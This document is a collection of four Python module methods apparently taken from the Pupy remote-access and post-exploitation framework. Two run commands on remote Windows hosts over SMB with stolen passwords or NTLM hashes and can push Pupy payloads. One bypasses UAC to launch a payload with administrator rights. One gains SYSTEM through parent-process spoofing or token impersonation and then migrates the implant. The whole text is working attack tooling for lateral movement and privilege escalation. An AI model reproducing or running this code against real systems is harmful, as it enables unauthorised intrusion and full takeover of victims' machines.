Example #1
0
    def run(self, args):

        if "/" in args.target[0]:
            hosts = IPNetwork(args.target[0])
        else:
            hosts = list()
            hosts.append(args.target[0])

        smbexec = self.client.remote('pupyutils.psexec', 'smbexec')

        completions = []

        for host in hosts:
            if args.command in ('pupy86', 'pupy32', 'pupy64'):
                _, completion = powerloader.serve(
                    self,
                    self.client.get_conf(),
                    host=str(host),
                    port=args.port,
                    user=args.user,
                    domain=args.domain,
                    password=args.passwd,
                    ntlm=args.hash,
                    execm=args.execm,
                    timeout=args.timeout,
                    arch='x64' if args.command == 'pupy64' else 'x86')
                completions.append(completion)
                continue

            output, error = smbexec(str(host), args.port, args.user,
                                    args.domain, args.passwd, args.hash,
                                    args.command, args.share, args.execm,
                                    args.codepage, args.timeout,
                                    not args.noout)

            if output:
                self.log(output)

            if error:
                self.error(error)

        if completions:
            self.info('Wait for completions')
            for completion in completions:
                if not completion.is_set():
                    completion.wait()
Example #2
0
    def run(self, args):

        if "/" in args.target[0]:
            hosts = IPNetwork(args.target[0])
        else:
            hosts = list()
            hosts.append(args.target[0])

        psexec = self.client.remote('pupyutils.psexec', 'psexec', False)

        completions = []

        for host in hosts:
            if args.command in ('pupy86', 'pupy32', 'pupy64'):
                _, completion = powerloader.serve(
                    self,
                    self.client.get_conf(),
                    host=str(host),
                    port=args.port,
                    user=args.user,
                    domain=args.domain,
                    password=args.passwd,
                    ntlm=args.hash,
                    execm=args.execm,
                    timeout=args.timeout,
                    arch='x64' if args.command == 'pupy64' else 'x86')

                if completion:
                    completions.append(completion)

                continue

            completion = Event()

            def _on_data(data):
                if args.verbose:
                    self.log(u'{}:{}: {}'.format(host, args.port, data))
                else:
                    self.stdout.write(data)

            def _on_complete(message):
                try:
                    if message:
                        self.error(message)
                    elif message and args.verbose:
                        self.info('Completed')
                finally:
                    completion.set()

            psexec(str(host), args.port, args.user, args.domain, args.passwd,
                   args.hash, args.command, args.execm, args.codepage,
                   args.timeout, not args.noout, None, _on_data, _on_complete,
                   args.verbose)

            completions.append(completion)

        if completions:
            if args.verbose:
                self.info('Wait for completions')
            for completion in completions:
                if not completion.is_set():
                    completion.wait()
Example #3
0
    def run(self, args):

        can_get_admin_access = self.client.remote('pupwinutils.security',
                                                  'can_get_admin_access',
                                                  False)

        # Check if a UAC bypass can be done
        if not can_get_admin_access():
            self.error('Your are not on the local administrator group.')
            return

        if args.scan:
            self.launch_scan()
            return

        if not args.scan and not args.method:
            method = self.launch_scan(print_result=False)
            if not method:
                self.error(
                    'Get the list of possible methods (-l) and bypass uac using -m <id>'
                )
                return
        else:
            method = args.method

        # TO CHANGE:
        # A way should be found to automatically generate a dll (ex: using a generic dll which launch a bat script)
        if method in ('11', '12', '13', '14'):
            self.warning(
                'This technique needs to upload a dll. It has been temporary disabled to avoid AV alerts'
            )
            return

        # Weird error, root cause not found yet
        if method in '07':
            self.warning(
                'This technique does not work with custom exe, only work with cmd.exe'
            )
            return

        # Check if it is a bind shell
        is_bind_launcher = False
        launcher_type, address_port = self.client.desc[
            'launcher'], self.client.desc['address']

        # Case of a pupy bind shell if ps1 mode is used (no reverse connection possible)
        if launcher_type == "bind":
            self.info(
                'The current pupy launcher is using a BIND connection. It is listening on {0} on the target'
                .format(address_port))
            is_bind_launcher = True

        # ------------------ Prepare the payload ------------------

        rjoin = self.client.remote('os.path', 'join')
        risfile = self.client.remote('os.path', 'isfile')
        tempdir = self.client.remote('tempfile', 'gettempdir', False)
        random_name = ''.join([
            random.choice(string.ascii_letters + string.digits)
            for n in xrange(6)
        ])
        local_file = ''
        remote_file = ''
        completion = None

        if not args.exe and not args.restart:
            self.info('Using powershell payload')

            client_conf = None

            if is_bind_launcher:
                self.info("BIND launcher is on the target.")
                self.info(
                    "Be careful, you have to choose a port which is not used on the target!"
                )

                listening_port = -1
                while listening_port == -1:
                    try:
                        listening_port = int(
                            input(
                                "[?] Give me the listening port to use on the target: "
                            ))
                    except Exception as e:
                        self.warning(
                            "You have to give me a valid port. Try again ({})".
                            format(e))

                listening_address = address_port.split(':')[0]
                bind_address_and_port = "{0}:{1}".format(
                    listening_address, listening_port)
                self.info(
                    "Payload used for bypassing UAC will be "
                    "configured for listening on {0} on the target".format(
                        bind_address_and_port))

                bind_conf = self.client.get_conf()

                # Modify the listening port on the conf. If it is not modified,
                # the ps1 script will listen on the same port as the initial pupy launcher on the target
                bind_conf['launcher_args'][
                    bind_conf['launcher_args'].index("--port") +
                    1] = str(listening_port)
                client_conf = bind_conf
            else:
                self.info(
                    "Reverse connection mode: Configuring client with the same configuration as "
                    "the (parent) launcher on the target")
                client_conf = self.client.get_conf()

            cmd, completion = powerloader.serve(self, client_conf)

        # use a custom exe to execute as admin
        elif args.exe:
            cmd_args = shlex.split(args.exe, posix=False)
            arg0, argv = cmd_args[0], cmd_args[1:]
            argv = ' '.join(repr(x) if ' ' in x else x for x in argv)

            if risfile(arg0):
                self.info('Using remote cmd ({})'.format(args.exe))
                cmd = args.exe

            elif os.path.exists(arg0):
                self.info('Using custom executable (local)')
                local_file = args.exe
                remoteFileName = "{random_name}.{ext}".format(
                    random_name=random_name, ext="exe")
                remote_file = rjoin(tempdir(), remoteFileName)
                cmd = remote_file + ' ' + argv
            else:
                self.error('Executable file not found: {}'.format(arg0))
                return

        # restart the current executable as admin
        else:
            self.info('Using current executable')
            exe = self.client.desc['exec_path'].split('\\')
            if exe[len(exe) - 1].lower() in ['powershell.exe', 'cmd.exe'
                                             ] and exe[1].lower() == 'windows':
                self.warning('It seems that your current process is %s' %
                             self.client.desc['exec_path'])
                self.warning('It is not recommended to restart it')
                return

            cmd = self.client.desc['exec_path']

        # upload payload (ps1 or custom exe)
        if not args.restart and local_file:
            self.info("Uploading to %s" % remote_file)
            upload(self.client.conn,
                   local_file,
                   remote_file,
                   chunk_size=1 * 1024 * 1024)

        # ------------------ Ready to launch the bypassuac ------------------

        self.info("Bypass uac could take few seconds, be patient...")
        bypass_uac = self.client.remote('winpwnage.core.scanner', 'function',
                                        False)
        result = bypass_uac(uac=True, persist=False).run(id=method,
                                                         payload=cmd)
        if not result:
            self.error('Nothing done, check if the id is on the list')
        else:
            self.parse_result(result, get_method_id=False)

        if completion:
            if not completion.is_set():
                self.info('Waiting for a powerloader status updates')
                completion.wait()
        elif not args.exe and not args.restart:
            # Powershell could be longer to execute
            self.info(
                "Waiting for a connection (take few seconds, 1 min max)...")

        # TO DO (remove ps1 file)
        # ros.remove(remote_file) # not work if removed too fast

        # Remove generated ps1 file
        if not args.exe and not args.restart and local_file:
            os.remove(local_file)
Example #4
0
    def run(self, args):

        # Command to execute on the target
        cmdToExecute = None

        # The the local file which contains PS1 script (when powershell chosen or enabled automcatically)
        local_file = ''

        # True if ps1 script will be used in bind mode. If reverse connection with ps1 then False
        isBindLauncherForPs1 = False

        # Contains ip:port used for bind connection on the target with ps1 script.
        # None if reverse connection and (consequently) isBindLauncherForPs1==False

        listeningAddressPortForBindPs1 = None
        # Usefull information for bind mode connection (ps1 script)
        launcherType, addressPort = self.client.desc[
            'launcher'], self.client.desc['address']

        completion = None

        # Case of a pupy bind shell if ps1 mode is used (no reverse connection possible)
        if launcherType == "bind":
            self.info(
                'The current pupy launcher is using a BIND connection. It is listening on {0} on the target'
                .format(addressPort))
            isBindLauncherForPs1 = True
            self.info(
                'Consequently, powershell option is enabled automatically')
            args.powershell = True
        else:
            self.info(
                'The current pupy launcher is using a REVERSE connection (e.g. \'auto_proxy\' or \'connect\' launcher)'
            )
            isBindLauncherForPs1 = False

        # A Powershell payload is used for getting a pupy session as SYSTEM
        if args.powershell:
            self.info(
                'A powershell payload will be used for getting a pupy session as SYSTEM'
            )
            clientConfToUse = None

            if isBindLauncherForPs1:
                self.info(
                    'Using powershell payload because the launcher on the target uses a bind connection. Launcher listens on {0}'
                    .format(addressPort))
                self.info(
                    "Bind launcher used. So a BIND ps1 will be used in child launcher. This ps1 will listen on your given port"
                )
                self.info(
                    "Be careful, you have to choose a port which is not used on the target!"
                )
                listeningPort = -1
                while listeningPort == -1:
                    try:
                        listeningPort = int(
                            input(
                                "[?] Give me the listening port to use on the target: "
                            ))
                    except Exception as e:
                        self.warning(
                            "You have to give me a valid port. Try again. ({})"
                            .format(e))
                listeningAddress = addressPort.split(':')[0]
                listeningAddressPortForBindPs1 = "{0}:{1}".format(
                    listeningAddress, listeningPort)
                self.info(
                    "The ps1 script used for getting a pupy session as SYSTEM will be configured for listening on {0} on the target"
                    .format(listeningAddressPortForBindPs1))
                bindConf = self.client.get_conf()
                #Modify the listening port on the conf. If it is not modified, the ps1 script will listen on the same port as the inital pupy launcher on the target
                bindConf['launcher_args'][
                    bindConf['launcher_args'].index("--port") +
                    1] = str(listeningPort)
                clientConfToUse = bindConf
            else:
                self.info(
                    'Using powershell payload because you have chosen this option. The launcher on the target uses a reverse connection'
                )
                clientConfToUse = self.client.get_conf()

            cmdToExecute, completion = powerloader.serve(self, clientConfToUse)

        # restart current exe as system
        if args.restart:
            self.info(
                'Trying to configure for running the current executable on the target as SYSTEM'
            )
            exe = self.client.desc['exec_path'].split('\\')
            if exe[len(exe) - 1].lower() in ['powershell.exe', 'cmd.exe'
                                             ] and exe[1].lower() == 'windows':
                self.warning('It seems that your current process is %s' %
                             self.client.desc['exec_path'])
                self.warning('It is not recommended to restart it')
                return

            cmdToExecute = self.client.desc['exec_path']

        if args.method == 'inheritance':
            if not cmdToExecute:
                cmdToExecute = args.execute

            if cmdToExecute is None:
                self.error(
                    'Application to execute with SYSTEM privileges should '
                    'be specified with one of -x/-p/-r args')
                return

            try:
                enable_privilege = self.client.remote('pupwinutils.security',
                                                      'EnablePrivilege', False)
                enable_privilege('SeDebugPrivilege')
                self.success('{} enabled'.format('SeDebugPrivilege'))
            except Exception as e:
                self.error('{} was not enabled: {}'.format(
                    'SeDebugPrivilege', e.args[1]))

            create_new_process_from_ppid = self.client.remote(
                'pupwinutils.security', 'create_new_process_from_ppid', False)

            if args.parentID:
                self.info(
                    'Using the Parent Process method on the pid {0}...'.format(
                        args.parentID))
                self.info('Command: {}'.format(cmdToExecute))

                pid = create_new_process_from_ppid(int(args.parentID),
                                                   cmdToExecute)
                self.success('Created: pid={}, ppid={}'.format(
                    pid, args.parentID))
                return

            else:
                self.info(
                    "Getting information about all processes running on the target"
                )

                enum_processes = self.client.remote('pupwinutils.processes',
                                                    'enum_processes')
                get_integrity_level = self.client.remote(
                    'pupwinutils.security', 'get_integrity_level', False)

                self.info(
                    "Searching a process with a 'SYSTEM' integrity level")

                for aprocess in enum_processes():
                    integrityLevel = get_integrity_level(aprocess['pid'])

                    if not integrityLevel == 'System':
                        continue

                    self.info(
                        "{0} (pid {1}) has a 'SYSTEM' integrity level, trying to use it"
                        .format(aprocess['name'], aprocess['pid']))

                    try:
                        pid = create_new_process_from_ppid(
                            aprocess['pid'], cmdToExecute)
                        self.success('Created: pid={}, ppid={}'.format(
                            pid, aprocess['pid']))
                        break

                    except Exception as e:
                        self.error('Failed: {}'.format(' '.join(
                            x for x in e.args if type(x) is str)))

        elif args.method == 'impersonate':
            if cmdToExecute is None:
                cmdToExecute = args.execute or 'cmd.exe'

            getsystem = self.client.remote('pupwinutils.security', 'getsystem',
                                           False)
            proc_pid = getsystem(cmdToExecute)

            self.success('Impersonated, pid={}. Migrating..'.format(proc_pid))
            migrate(self, proc_pid, keep=args.keep, timeout=args.timeout)
            return

        if args.powershell:
            if completion and not completion.is_set():
                self.info('Waiting for PowerLoader completion')
                completion.wait()

            if isBindLauncherForPs1:
                self.success(
                    'You have to connect to the target manually on {0}: '
                    'try "connect --host {0}" in pupy shell'.format(
                        listeningAddressPortForBindPs1))
            else:
                self.success(
                    'Waiting for a connection (take few seconds, 1 min max)...'
                )

            if local_file:
                os.remove(local_file)